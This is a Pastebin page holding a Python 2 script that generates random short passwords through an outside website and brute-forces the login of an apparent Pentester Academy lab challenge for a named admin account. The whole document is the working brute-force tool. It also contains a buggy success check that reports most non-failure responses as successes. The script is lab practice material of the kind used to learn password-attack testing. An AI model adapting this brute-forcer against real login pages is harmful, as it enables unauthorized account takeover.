Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # By MOHAMMED ADEL :D
- import requests
- import re
- def goto(JJJ):
- global Jumpp
- line = JJJ
- Jumpp = 1
- while True:
- if Jumpp == 1:
- ################################################################################################
- # Generate Passwords !
- client1 = requests.session()
- GEN_PASS = "http://www.unit-conversion.info/texttools/random-string-generator/?ajax=1"
- client1.get(GEN_PASS)
- payload = {
- "form[length]":"5",
- "form[string_qty]":"30", ## modify the number of passwords to be generated :) [Current number is 30]
- "form[text]":"xyz"
- }
- Resp1 = client1.post(GEN_PASS, data=payload, headers=dict(Referer=GEN_PASS))
- print "[***] New Passwords Generated !"
- Passes_Write = open("ps.txt","w")
- Passes_Write.write(Resp1.text)
- Passes_Write.close()
- ################################################################################################
- ################################################################################################
- # Brute Force !
- client = requests.session()
- ID = "admin@pentesteracademy.com"
- Comp = "zzzxy"
- Passes = open("ps.txt","r")
- for pa in Passes:
- URL ="http://pentesteracademylab.appspot.com/lab/webapp/1?email="+ID+"&password="+pa.strip()
- client.get(URL)
- Resp = client.get(URL, headers=dict(Referer=URL))
- if "Failed! Please try again!" in Resp.text:
- print "[XX] FAILED !"
- print "[--] USER : "+ID
- print "[--] PASS : "+pa
- elif "Well done!This challenge has been cracked!":
- print "[:)] SUCCESS :D"
- print "[--] USER : "+ID
- print "[--] PASS : "+pa
- ################################################################################################
- ################################################################################################
- # Keep goin or exit !
- Choice = raw_input("Generate new passwords (y/n): ")
- if Choice == "y" or Choice == "Y":
- goto(1)
- else:
- print "Bye :D"
- exit(0)
- ################################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement